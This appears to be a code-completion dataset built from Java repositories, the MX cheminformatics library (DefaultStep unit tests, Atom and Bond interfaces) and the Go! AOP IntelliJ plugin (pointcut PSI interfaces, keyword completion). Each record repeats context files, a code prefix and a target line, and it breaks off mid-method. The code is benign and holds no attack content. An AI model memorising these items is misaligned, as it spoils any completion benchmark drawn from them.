getPath() // { // return path; // } // // public boolean hasNextBond() // { // return bonds.size() != 0; // } // // public Bond nextBond() // { // Bond result = null; // // try // { // result = bonds.remove(bonds.size() - 1); // } // // catch (ArrayIndexOutOfBoundsException e) // { // throw new RuntimeException("Attempt to get nonexistant bond.", e); // } // // return result; // } // // public Step nextStep(Bond bond) // { // return new DefaultStep(this, bond); // } // // public boolean closesRingWith(Bond bond) // { // Atom mate = bond.getMate(focus); // // return path.contains(mate); // } // // private void loadBonds(Bond exclude) // { // for (Bond bond : focus.getBonds()) // { // if (bond != exclude) // { // bonds.add(bond); // } // } // } // } // // Path: src/com/metamolecular/mx/walk/Step.java // public interface Step // { // public Atom getAtom(); // // public List<Atom> getPath(); // // public boolean hasNextBond(); // // public Step nextStep(Bond bond); // // public Bond nextBond(); // // public boolean closesRingWith(Bond bond); // } // Path: src/com/metamolecular/mx/test/DefaultStepTest.java import java.util.Arrays; import junit.framework.TestCase; import static org.mockito.Mockito.*; import com.metamolecular.mx.model.Atom; import com.metamolecular.mx.model.Bond; import com.metamolecular.mx.walk.DefaultStep; import com.metamolecular.mx.walk.Step; /* * MX - Essential Cheminformatics * * Copyright (c) 2007-2009 Metamolecular, LLC * * http://metamolecular.com/mx * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package com.metamolecular.mx.test; /** * @author Richard L. Apodaca <rapodaca at metamolecular.com> */ public class DefaultStepTest extends TestCase { private DefaultStep step;
private Atom atom;
metamolecular/mx
src/com/metamolecular/mx/test/DefaultStepTest.java
// Path: src/com/metamolecular/mx/model/Atom.java // public interface Atom // { // public String getSymbol(); // // public void setSymbol(String newSymbol); // // public int getIndex(); // // public void setIsotope(int isotope); // // public int getIsotope(); // // public boolean hasSingleIsotope(); // // public void setCharge(int charge); // // public int getCharge(); // // public void setRadical(int radical); // // public int getRadical(); // // public Atom[] getNeighbors(); // // public Bond[] getBonds(); // // public Bond getBond(Atom neighbor); // // public int countNeighbors(); // // public boolean isConnectedTo(Atom atom); // // public int countVirtualHydrogens(); // // public double getX(); // // public double getY(); // // public double getZ(); // // public void move(double x, double y, double z); // // public int getValence(); // // public Molecule getMolecule(); // } // // Path: src/com/metamolecular/mx/model/Bond.java // public interface Bond // { // public int getIndex(); // // public Atom getSource(); // // public Atom getTarget(); // // public Atom getMate(Atom atom); // // public boolean contains(Atom atom); // // public void setType(int type); // // public int getType(); // // public void setStereo(int stereo); // // public int getStereo(); // // public void reverse(); // // public Molecule getMolecule(); // // public Atom[] getNeighborAtoms(); // } // // Path: src/com/metamolecular/mx/walk/DefaultStep.java // public class DefaultStep implements Step // { // private Atom focus; // private List<Atom> path; // private List<Bond> bonds; // // public DefaultStep(Atom focus) // { // this.focus = focus; // path = new ArrayList(); // bonds = new ArrayList(); // // loadBonds(null); // path.add(focus); // } // // private DefaultStep(DefaultStep step, Bond bond) // { // this.focus = bond.getMate(step.getAtom()); // this.path = new ArrayList(step.path); // this.bonds = new ArrayList(); // // path.add(focus); // loadBonds(bond); // } // // public Atom getAtom() // { // return focus; // } // // public List<Atom> getPath() // { // return path; // } // // public boolean hasNextBond() // { // return bonds.size() != 0; // } // // public Bond nextBond() // { // Bond result = null; // // try // { // result = bonds.remove(bonds.size() - 1); // } // // catch (ArrayIndexOutOfBoundsException e) // { // throw new RuntimeException("Attempt to get nonexistant bond.", e); // } // // return result; // } // // public Step nextStep(Bond bond) // { // return new DefaultStep(this, bond); // } // // public boolean closesRingWith(Bond bond) // { // Atom mate = bond.getMate(focus); // // return path.contains(mate); // } // // private void loadBonds(Bond exclude) // { // for (Bond bond : focus.getBonds()) // { // if (bond != exclude) // { // bonds.add(bond); // } // } // } // } // // Path: src/com/metamolecular/mx/walk/Step.java // public interface Step // { // public Atom getAtom(); // // public List<Atom> getPath(); // // public boolean hasNextBond(); // // public Step nextStep(Bond bond); // // public Bond nextBond(); // // public boolean closesRingWith(Bond bond); // }
import java.util.Arrays; import junit.framework.TestCase; import static org.mockito.Mockito.*; import com.metamolecular.mx.model.Atom; import com.metamolecular.mx.model.Bond; import com.metamolecular.mx.walk.DefaultStep; import com.metamolecular.mx.walk.Step;
/* * MX - Essential Cheminformatics * * Copyright (c) 2007-2009 Metamolecular, LLC * * http://metamolecular.com/mx * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package com.metamolecular.mx.test; /** * @author Richard L. Apodaca <rapodaca at metamolecular.com> */ public class DefaultStepTest extends TestCase { private DefaultStep step; private Atom atom;
// Path: src/com/metamolecular/mx/model/Atom.java // public interface Atom // { // public String getSymbol(); // // public void setSymbol(String newSymbol); // // public int getIndex(); // // public void setIsotope(int isotope); // // public int getIsotope(); // // public boolean hasSingleIsotope(); // // public void setCharge(int charge); // // public int getCharge(); // // public void setRadical(int radical); // // public int getRadical(); // // public Atom[] getNeighbors(); // // public Bond[] getBonds(); // // public Bond getBond(Atom neighbor); // // public int countNeighbors(); // // public boolean isConnectedTo(Atom atom); // // public int countVirtualHydrogens(); // // public double getX(); // // public double getY(); // // public double getZ(); // // public void move(double x, double y, double z); // // public int getValence(); // // public Molecule getMolecule(); // } // // Path: src/com/metamolecular/mx/model/Bond.java // public interface Bond // { // public int getIndex(); // // public Atom getSource(); // // public Atom getTarget(); // // public Atom getMate(Atom atom); // // public boolean contains(Atom atom); // // public void setType(int type); // // public int getType(); // // public void setStereo(int stereo); // // public int getStereo(); // // public void reverse(); // // public Molecule getMolecule(); // // public Atom[] getNeighborAtoms(); // } // // Path: src/com/metamolecular/mx/walk/DefaultStep.java // public class DefaultStep implements Step // { // private Atom focus; // private List<Atom> path; // private List<Bond> bonds; // // public DefaultStep(Atom focus) // { // this.focus = focus; // path = new ArrayList(); // bonds = new ArrayList(); // // loadBonds(null); // path.add(focus); // } // // private DefaultStep(DefaultStep step, Bond bond) // { // this.focus = bond.getMate(step.getAtom()); // this.path = new ArrayList(step.path); // this.bonds = new ArrayList(); // // path.add(focus); // loadBonds(bond); // } // // public Atom getAtom() // { // return focus; // } // // public List<Atom> getPath() // { // return path; // } // // public boolean hasNextBond() // { // return bonds.size() != 0; // } // // public Bond nextBond() // { // Bond result = null; // // try // { // result = bonds.remove(bonds.size() - 1); // } // // catch (ArrayIndexOutOfBoundsException e) // { // throw new RuntimeException("Attempt to get nonexistant bond.", e); // } // // return result; // } // // public Step nextStep(Bond bond) // { // return new DefaultStep(this, bond); // } // // public boolean closesRingWith(Bond bond) // { // Atom mate = bond.getMate(focus); // // return path.contains(mate); // } // // private void loadBonds(Bond exclude) // { // for (Bond bond : focus.getBonds()) // { // if (bond != exclude) // { // bonds.add(bond); // } // } // } // } // // Path: src/com/metamolecular/mx/walk/Step.java // public interface Step // { // public Atom getAtom(); // // public List<Atom> getPath(); // // public boolean hasNextBond(); // // public Step nextStep(Bond bond); // // public Bond nextBond(); // // public boolean closesRingWith(Bond bond); // } // Path: src/com/metamolecular/mx/test/DefaultStepTest.java import java.util.Arrays; import junit.framework.TestCase; import static org.mockito.Mockito.*; import com.metamolecular.mx.model.Atom; import com.metamolecular.mx.model.Bond; import com.metamolecular.mx.walk.DefaultStep; import com.metamolecular.mx.walk.Step; /* * MX - Essential Cheminformatics * * Copyright (c) 2007-2009 Metamolecular, LLC * * http://metamolecular.com/mx * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package com.metamolecular.mx.test; /** * @author Richard L. Apodaca <rapodaca at metamolecular.com> */ public class DefaultStepTest extends TestCase { private DefaultStep step; private Atom atom;
private Bond bond;
metamolecular/mx
src/com/metamolecular/mx/test/DefaultStepTest.java
// Path: src/com/metamolecular/mx/model/Atom.java // public interface Atom // { // public String getSymbol(); // // public void setSymbol(String newSymbol); // // public int getIndex(); // // public void setIsotope(int isotope); // // public int getIsotope(); // // public boolean hasSingleIsotope(); // // public void setCharge(int charge); // // public int getCharge(); // // public void setRadical(int radical); // // public int getRadical(); // // public Atom[] getNeighbors(); // // public Bond[] getBonds(); // // public Bond getBond(Atom neighbor); // // public int countNeighbors(); // // public boolean isConnectedTo(Atom atom); // // public int countVirtualHydrogens(); // // public double getX(); // // public double getY(); // // public double getZ(); // // public void move(double x, double y, double z); // // public int getValence(); // // public Molecule getMolecule(); // } // // Path: src/com/metamolecular/mx/model/Bond.java // public interface Bond // { // public int getIndex(); // // public Atom getSource(); // // public Atom getTarget(); // // public Atom getMate(Atom atom); // // public boolean contains(Atom atom); // // public void setType(int type); // // public int getType(); // // public void setStereo(int stereo); // // public int getStereo(); // // public void reverse(); // // public Molecule getMolecule(); // // public Atom[] getNeighborAtoms(); // } // // Path: src/com/metamolecular/mx/walk/DefaultStep.java // public class DefaultStep implements Step // { // private Atom focus; // private List<Atom> path; // private List<Bond> bonds; // // public DefaultStep(Atom focus) // { // this.focus = focus; // path = new ArrayList(); // bonds = new ArrayList(); // // loadBonds(null); // path.add(focus); // } // // private DefaultStep(DefaultStep step, Bond bond) // { // this.focus = bond.getMate(step.getAtom()); // this.path = new ArrayList(step.path); // this.bonds = new ArrayList(); // // path.add(focus); // loadBonds(bond); // } // // public Atom getAtom() // { // return focus; // } // // public List<Atom> getPath() // { // return path; // } // // public boolean hasNextBond() // { // return bonds.size() != 0; // } // // public Bond nextBond() // { // Bond result = null; // // try // { // result = bonds.remove(bonds.size() - 1); // } // // catch (ArrayIndexOutOfBoundsException e) // { // throw new RuntimeException("Attempt to get nonexistant bond.", e); // } // // return result; // } // // public Step nextStep(Bond bond) // { // return new DefaultStep(this, bond); // } // // public boolean closesRingWith(Bond bond) // { // Atom mate = bond.getMate(focus); // // return path.contains(mate); // } // // private void loadBonds(Bond exclude) // { // for (Bond bond : focus.getBonds()) // { // if (bond != exclude) // { // bonds.add(bond); // } // } // } // } // // Path: src/com/metamolecular/mx/walk/Step.java // public interface Step // { // public Atom getAtom(); // // public List<Atom> getPath(); // // public boolean hasNextBond(); // // public Step nextStep(Bond bond); // // public Bond nextBond(); // // public boolean closesRingWith(Bond bond); // }
import java.util.Arrays; import junit.framework.TestCase; import static org.mockito.Mockito.*; import com.metamolecular.mx.model.Atom; import com.metamolecular.mx.model.Bond; import com.metamolecular.mx.walk.DefaultStep; import com.metamolecular.mx.walk.Step;
atomWithNoBonds(); assertFalse(step.hasNextBond()); } public void testItThrowsWhenNextBondMissing() { atomWithNoBonds(); try { step.nextBond(); fail(); } catch (RuntimeException ignore) { assertEquals("Attempt to get nonexistant bond.", ignore.getMessage()); } } public void testItCreatesNextStepWithBondMateAsAtom() { atomWithOneBond(); Atom mate = mock(Atom.class); Bond[] mateBonds = new Bond[] { }; when(mate.getBonds()).thenReturn(mateBonds); when(bond.getMate(atom)).thenReturn(mate);
// Path: src/com/metamolecular/mx/model/Atom.java // public interface Atom // { // public String getSymbol(); // // public void setSymbol(String newSymbol); // // public int getIndex(); // // public void setIsotope(int isotope); // // public int getIsotope(); // // public boolean hasSingleIsotope(); // // public void setCharge(int charge); // // public int getCharge(); // // public void setRadical(int radical); // // public int getRadical(); // // public Atom[] getNeighbors(); // // public Bond[] getBonds(); // // public Bond getBond(Atom neighbor); // // public int countNeighbors(); // // public boolean isConnectedTo(Atom atom); // // public int countVirtualHydrogens(); // // public double getX(); // // public double getY(); // // public double getZ(); // // public void move(double x, double y, double z); // // public int getValence(); // // public Molecule getMolecule(); // } // // Path: src/com/metamolecular/mx/model/Bond.java // public interface Bond // { // public int getIndex(); // // public Atom getSource(); // // public Atom getTarget(); // // public Atom getMate(Atom atom); // // public boolean contains(Atom atom); // // public void setType(int type); // // public int getType(); // // public void setStereo(int stereo); // // public int getStereo(); // // public void reverse(); // // public Molecule getMolecule(); // // public Atom[] getNeighborAtoms(); // } // // Path: src/com/metamolecular/mx/walk/DefaultStep.java // public class DefaultStep implements Step // { // private Atom focus; // private List<Atom> path; // private List<Bond> bonds; // // public DefaultStep(Atom focus) // { // this.focus = focus; // path = new ArrayList(); // bonds = new ArrayList(); // // loadBonds(null); // path.add(focus); // } // // private DefaultStep(DefaultStep step, Bond bond) // { // this.focus = bond.getMate(step.getAtom()); // this.path = new ArrayList(step.path); // this.bonds = new ArrayList(); // // path.add(focus); // loadBonds(bond); // } // // public Atom getAtom() // { // return focus; // } // // public List<Atom> getPath() // { // return path; // } // // public boolean hasNextBond() // { // return bonds.size() != 0; // } // // public Bond nextBond() // { // Bond result = null; // // try // { // result = bonds.remove(bonds.size() - 1); // } // // catch (ArrayIndexOutOfBoundsException e) // { // throw new RuntimeException("Attempt to get nonexistant bond.", e); // } // // return result; // } // // public Step nextStep(Bond bond) // { // return new DefaultStep(this, bond); // } // // public boolean closesRingWith(Bond bond) // { // Atom mate = bond.getMate(focus); // // return path.contains(mate); // } // // private void loadBonds(Bond exclude) // { // for (Bond bond : focus.getBonds()) // { // if (bond != exclude) // { // bonds.add(bond); // } // } // } // } // // Path: src/com/metamolecular/mx/walk/Step.java // public interface Step // { // public Atom getAtom(); // // public List<Atom> getPath(); // // public boolean hasNextBond(); // // public Step nextStep(Bond bond); // // public Bond nextBond(); // // public boolean closesRingWith(Bond bond); // } // Path: src/com/metamolecular/mx/test/DefaultStepTest.java import java.util.Arrays; import junit.framework.TestCase; import static org.mockito.Mockito.*; import com.metamolecular.mx.model.Atom; import com.metamolecular.mx.model.Bond; import com.metamolecular.mx.walk.DefaultStep; import com.metamolecular.mx.walk.Step; atomWithNoBonds(); assertFalse(step.hasNextBond()); } public void testItThrowsWhenNextBondMissing() { atomWithNoBonds(); try { step.nextBond(); fail(); } catch (RuntimeException ignore) { assertEquals("Attempt to get nonexistant bond.", ignore.getMessage()); } } public void testItCreatesNextStepWithBondMateAsAtom() { atomWithOneBond(); Atom mate = mock(Atom.class); Bond[] mateBonds = new Bond[] { }; when(mate.getBonds()).thenReturn(mateBonds); when(bond.getMate(atom)).thenReturn(mate);
Step nextStep = step.nextStep(step.nextBond());
goaop/idea-plugin
src/com/aopphp/go/psi/SinglePointcut.java
// Path: src/com/aopphp/go/pointcut/Pointcut.java // public interface Pointcut extends PointFilter // { // /** // * Return the class filter for this pointcut. // * // * @return PointFilter // */ // PointFilter getClassFilter(); // }
import java.util.List; import org.jetbrains.annotations.*; import com.intellij.psi.PsiElement; import com.aopphp.go.pointcut.Pointcut;
// This is a generated file. Not intended for manual editing. package com.aopphp.go.psi; public interface SinglePointcut extends PsiElement { @Nullable AccessPointcut getAccessPointcut(); @Nullable AnnotatedAccessPointcut getAnnotatedAccessPointcut(); @Nullable AnnotatedExecutionPointcut getAnnotatedExecutionPointcut(); @Nullable AnnotatedWithinPointcut getAnnotatedWithinPointcut(); @Nullable CflowbelowPointcut getCflowbelowPointcut(); @Nullable DynamicExecutionPointcut getDynamicExecutionPointcut(); @Nullable ExecutionPointcut getExecutionPointcut(); @Nullable InitializationPointcut getInitializationPointcut(); @Nullable MatchInheritedPointcut getMatchInheritedPointcut(); @Nullable PointcutReference getPointcutReference(); @Nullable StaticInitializationPointcut getStaticInitializationPointcut(); @Nullable WithinPointcut getWithinPointcut();
// Path: src/com/aopphp/go/pointcut/Pointcut.java // public interface Pointcut extends PointFilter // { // /** // * Return the class filter for this pointcut. // * // * @return PointFilter // */ // PointFilter getClassFilter(); // } // Path: src/com/aopphp/go/psi/SinglePointcut.java import java.util.List; import org.jetbrains.annotations.*; import com.intellij.psi.PsiElement; import com.aopphp.go.pointcut.Pointcut; // This is a generated file. Not intended for manual editing. package com.aopphp.go.psi; public interface SinglePointcut extends PsiElement { @Nullable AccessPointcut getAccessPointcut(); @Nullable AnnotatedAccessPointcut getAnnotatedAccessPointcut(); @Nullable AnnotatedExecutionPointcut getAnnotatedExecutionPointcut(); @Nullable AnnotatedWithinPointcut getAnnotatedWithinPointcut(); @Nullable CflowbelowPointcut getCflowbelowPointcut(); @Nullable DynamicExecutionPointcut getDynamicExecutionPointcut(); @Nullable ExecutionPointcut getExecutionPointcut(); @Nullable InitializationPointcut getInitializationPointcut(); @Nullable MatchInheritedPointcut getMatchInheritedPointcut(); @Nullable PointcutReference getPointcutReference(); @Nullable StaticInitializationPointcut getStaticInitializationPointcut(); @Nullable WithinPointcut getWithinPointcut();
Pointcut resolveSinglePointcut();
goaop/idea-plugin
src/com/aopphp/go/psi/PointcutExpression.java
// Path: src/com/aopphp/go/pointcut/Pointcut.java // public interface Pointcut extends PointFilter // { // /** // * Return the class filter for this pointcut. // * // * @return PointFilter // */ // PointFilter getClassFilter(); // }
import java.util.List; import org.jetbrains.annotations.*; import com.intellij.psi.PsiElement; import com.aopphp.go.pointcut.Pointcut;
// This is a generated file. Not intended for manual editing. package com.aopphp.go.psi; public interface PointcutExpression extends PsiElement { @NotNull ConjugatedExpression getConjugatedExpression(); @Nullable PointcutExpression getPointcutExpression();
// Path: src/com/aopphp/go/pointcut/Pointcut.java // public interface Pointcut extends PointFilter // { // /** // * Return the class filter for this pointcut. // * // * @return PointFilter // */ // PointFilter getClassFilter(); // } // Path: src/com/aopphp/go/psi/PointcutExpression.java import java.util.List; import org.jetbrains.annotations.*; import com.intellij.psi.PsiElement; import com.aopphp.go.pointcut.Pointcut; // This is a generated file. Not intended for manual editing. package com.aopphp.go.psi; public interface PointcutExpression extends PsiElement { @NotNull ConjugatedExpression getConjugatedExpression(); @Nullable PointcutExpression getPointcutExpression();
Pointcut compile();
goaop/idea-plugin
src/com/aopphp/go/completion/PointcutKeywordCompletionProvider.java
// Path: src/com/aopphp/go/completion/insert/PointcutKeywordInsertHandler.java // public class PointcutKeywordInsertHandler implements InsertHandler<LookupElement> { // // private static final PointcutKeywordInsertHandler INSTANCE = new PointcutKeywordInsertHandler(); // // public void handleInsert(@NotNull InsertionContext context, @NotNull LookupElement lookupElement) { // // // reuse jetbrains "use importer": this is private only so we need some workaround // // to not implement your own algo for that // PhpReferenceInsertHandler.getInstance().handleInsert(context, lookupElement); // if(!PhpInsertHandlerUtil.isStringAtCaret(context.getEditor(), "(")) { // PhpInsertHandlerUtil.insertStringAtCaret(context.getEditor(), "()"); // context.getEditor().getCaretModel().moveCaretRelatively(-1, 0, false, false, true); // } // } // // public static PointcutKeywordInsertHandler getInstance(){ // return INSTANCE; // } // }
import com.aopphp.go.completion.insert.PointcutKeywordInsertHandler; import com.intellij.codeInsight.completion.CompletionParameters; import com.intellij.codeInsight.completion.CompletionProvider; import com.intellij.codeInsight.completion.CompletionResultSet; import com.intellij.codeInsight.lookup.LookupElementBuilder; import com.intellij.psi.PsiElement; import com.intellij.util.ProcessingContext; import org.jetbrains.annotations.NotNull;
package com.aopphp.go.completion; public class PointcutKeywordCompletionProvider extends CompletionProvider<CompletionParameters> { private static final String[] POINTCUT_TYPES = new String[]{ "execution", "access", "within", "initialization", "staticinitialization", "matchInherited", };
// Path: src/com/aopphp/go/completion/insert/PointcutKeywordInsertHandler.java // public class PointcutKeywordInsertHandler implements InsertHandler<LookupElement> { // // private static final PointcutKeywordInsertHandler INSTANCE = new PointcutKeywordInsertHandler(); // // public void handleInsert(@NotNull InsertionContext context, @NotNull LookupElement lookupElement) { // // // reuse jetbrains "use importer": this is private only so we need some workaround // // to not implement your own algo for that // PhpReferenceInsertHandler.getInstance().handleInsert(context, lookupElement); // if(!PhpInsertHandlerUtil.isStringAtCaret(context.getEditor(), "(")) { // PhpInsertHandlerUtil.insertStringAtCaret(context.getEditor(), "()"); // context.getEditor().getCaretModel().moveCaretRelatively(-1, 0, false, false, true); // } // } // // public static PointcutKeywordInsertHandler getInstance(){ // return INSTANCE; // } // } // Path: src/com/aopphp/go/completion/PointcutKeywordCompletionProvider.java import com.aopphp.go.completion.insert.PointcutKeywordInsertHandler; import com.intellij.codeInsight.completion.CompletionParameters; import com.intellij.codeInsight.completion.CompletionProvider; import com.intellij.codeInsight.completion.CompletionResultSet; import com.intellij.codeInsight.lookup.LookupElementBuilder; import com.intellij.psi.PsiElement; import com.intellij.util.ProcessingContext; import org.jetbrains.annotations.NotNull; package com.aopphp.go.completion; public class PointcutKeywordCompletionProvider extends CompletionProvider<CompletionParameters> { private static final String[] POINTCUT_TYPES = new String[]{ "execution", "access", "within", "initialization", "staticinitialization", "matchInherited", };
private static final PointcutKeywordInsertHandler keywordInsertionHandler = PointcutKeywordInsertHandler.getInstance();
goaop/idea-plugin
src/com/aopphp/go/psi/MemberModifiers.java
// Path: src/com/aopphp/go/pointcut/MemberAccessMatcherFilter.java // public class MemberAccessMatcherFilter implements PointFilter { // // private static Set<KindFilter> KIND_ALL = new HashSet<KindFilter>(Arrays.asList(KindFilter.values())) ; // private Set<PhpModifier.Access> allowedAccess; // // public MemberAccessMatcherFilter(Set<PhpModifier.Access> allowedAccess) { // // this.allowedAccess = allowedAccess; // } // // @Override // public Set<KindFilter> getKind() { // return KIND_ALL; // } // // @Override // public boolean matches(PhpNamedElement element) { // if (!(element instanceof PhpElementWithModifier)) { // return false; // } // PhpModifier modifier = ((PhpElementWithModifier) element).getModifier(); // // return allowedAccess.contains(modifier.getAccess()); // } // // @Override // public boolean equals(Object o) { // if (this == o) return true; // if (!(o instanceof MemberAccessMatcherFilter)) return false; // // MemberAccessMatcherFilter that = (MemberAccessMatcherFilter) o; // // return allowedAccess.equals(that.allowedAccess); // } // // @Override // public int hashCode() { // return allowedAccess.hashCode(); // } // }
import java.util.List; import org.jetbrains.annotations.*; import com.intellij.psi.PsiElement; import com.aopphp.go.pointcut.MemberAccessMatcherFilter;
// This is a generated file. Not intended for manual editing. package com.aopphp.go.psi; public interface MemberModifiers extends PsiElement { @NotNull List<MemberModifier> getMemberModifierList();
// Path: src/com/aopphp/go/pointcut/MemberAccessMatcherFilter.java // public class MemberAccessMatcherFilter implements PointFilter { // // private static Set<KindFilter> KIND_ALL = new HashSet<KindFilter>(Arrays.asList(KindFilter.values())) ; // private Set<PhpModifier.Access> allowedAccess; // // public MemberAccessMatcherFilter(Set<PhpModifier.Access> allowedAccess) { // // this.allowedAccess = allowedAccess; // } // // @Override // public Set<KindFilter> getKind() { // return KIND_ALL; // } // // @Override // public boolean matches(PhpNamedElement element) { // if (!(element instanceof PhpElementWithModifier)) { // return false; // } // PhpModifier modifier = ((PhpElementWithModifier) element).getModifier(); // // return allowedAccess.contains(modifier.getAccess()); // } // // @Override // public boolean equals(Object o) { // if (this == o) return true; // if (!(o instanceof MemberAccessMatcherFilter)) return false; // // MemberAccessMatcherFilter that = (MemberAccessMatcherFilter) o; // // return allowedAccess.equals(that.allowedAccess); // } // // @Override // public int hashCode() { // return allowedAccess.hashCode(); // } // } // Path: src/com/aopphp/go/psi/MemberModifiers.java import java.util.List; import org.jetbrains.annotations.*; import com.intellij.psi.PsiElement; import com.aopphp.go.pointcut.MemberAccessMatcherFilter; // This is a generated file. Not intended for manual editing. package com.aopphp.go.psi; public interface MemberModifiers extends PsiElement { @NotNull List<MemberModifier> getMemberModifierList();
MemberAccessMatcherFilter getMemberAccessMatcher();
goaop/idea-plugin
src/com/aopphp/go/psi/MemberReference.java
// Path: src/com/aopphp/go/pointcut/ClassMemberReference.java // public class ClassMemberReference implements Serializable { // // private final PointFilter classFilter; // private final MemberAccessMatcherFilter visibilityFilter; // private final MemberStateMatcherFilter accessTypeFilter; // private final String memberNamePattern; // // public ClassMemberReference( // PointFilter classFilter, // MemberAccessMatcherFilter visibilityFilter, // MemberStateMatcherFilter accessTypeFilter, // String memberNamePattern // ) { // // this.classFilter = classFilter; // this.visibilityFilter = visibilityFilter; // this.accessTypeFilter = accessTypeFilter; // this.memberNamePattern = memberNamePattern; // } // // public PointFilter getClassFilter() { // return classFilter; // } // // public MemberAccessMatcherFilter getVisibilityFilter() { // return visibilityFilter; // } // // public MemberStateMatcherFilter getAccessTypeFilter() { // return accessTypeFilter; // } // // public String getMemberNamePattern() { // return memberNamePattern; // } // }
import java.util.List; import org.jetbrains.annotations.*; import com.intellij.psi.PsiElement; import com.aopphp.go.pointcut.ClassMemberReference;
// This is a generated file. Not intended for manual editing. package com.aopphp.go.psi; public interface MemberReference extends PsiElement { @NotNull ClassFilter getClassFilter(); @NotNull MemberAccessType getMemberAccessType(); @NotNull MemberModifiers getMemberModifiers(); @NotNull NamePattern getNamePattern();
// Path: src/com/aopphp/go/pointcut/ClassMemberReference.java // public class ClassMemberReference implements Serializable { // // private final PointFilter classFilter; // private final MemberAccessMatcherFilter visibilityFilter; // private final MemberStateMatcherFilter accessTypeFilter; // private final String memberNamePattern; // // public ClassMemberReference( // PointFilter classFilter, // MemberAccessMatcherFilter visibilityFilter, // MemberStateMatcherFilter accessTypeFilter, // String memberNamePattern // ) { // // this.classFilter = classFilter; // this.visibilityFilter = visibilityFilter; // this.accessTypeFilter = accessTypeFilter; // this.memberNamePattern = memberNamePattern; // } // // public PointFilter getClassFilter() { // return classFilter; // } // // public MemberAccessMatcherFilter getVisibilityFilter() { // return visibilityFilter; // } // // public MemberStateMatcherFilter getAccessTypeFilter() { // return accessTypeFilter; // } // // public String getMemberNamePattern() { // return memberNamePattern; // } // } // Path: src/com/aopphp/go/psi/MemberReference.java import java.util.List; import org.jetbrains.annotations.*; import com.intellij.psi.PsiElement; import com.aopphp.go.pointcut.ClassMemberReference; // This is a generated file. Not intended for manual editing. package com.aopphp.go.psi; public interface MemberReference extends PsiElement { @NotNull ClassFilter getClassFilter(); @NotNull MemberAccessType getMemberAccessType(); @NotNull MemberModifiers getMemberModifiers(); @NotNull NamePattern getNamePattern();
ClassMemberReference getClassMemberReference();
goaop/idea-plugin
src/com/aopphp/go/annotator/DoctrineAnnotator.java
// Path: src/com/aopphp/go/pattern/CodePattern.java // public class CodePattern extends PlatformPatterns { // // /** // * Matching name part after left parenthesis and one of annotation pointcut type // * \@execution(<className>) // * \@access(<className>) // * \@within(<className>) // */ // public static ElementPattern<PsiElement> insideAnnotationPointcut() { // return or( // psiElement(PointcutTypes.T_NAME_PART).withSuperParent(2, AnnotatedExecutionPointcut.class), // psiElement(PointcutTypes.T_NAME_PART).withSuperParent(2, AnnotatedAccessPointcut.class), // psiElement(PointcutTypes.T_NAME_PART).withSuperParent(2, AnnotatedWithinPointcut.class) // ); // } // // public static ElementPattern<PsiElement> insidePointcutLanguage() { // return psiElement().withLanguage(PointcutQueryLanguage.INSTANCE); // } // // public static ElementPattern<PsiElement> startOfMemberModifiers() { // return psiElement().afterLeafSkipping( // or( // psiElement(PointcutTypes.T_LEFT_PAREN), // psiElement(PointcutTypes.PRIVATE), // psiElement(PointcutTypes.PROTECTED), // psiElement(PointcutTypes.PUBLIC), // psiElement(PointcutTypes.FINAL), // psiElement(PointcutTypes.T_ALTERNATION), // psiElement().whitespace() // ), // or( // psiElement(PointcutTypes.EXECUTION), // psiElement(PointcutTypes.ACCESS) // ) // ); // } // // /** // * Checks if host is concrete annotation to inject syntax into it // * // * @param host Host element, typically string literal expression // * @param annotationPrefix Annotation prefix // * @return boolean // */ // public static boolean isInsideAnnotation(@NotNull StringLiteralExpression host, String annotationPrefix) { // // PhpDocTag phpDocTag = PsiTreeUtil.getParentOfType(host, PhpDocTag.class); // if (phpDocTag == null || !AnnotationPattern.getDocBlockTag().accepts(phpDocTag)) { // return false; // } 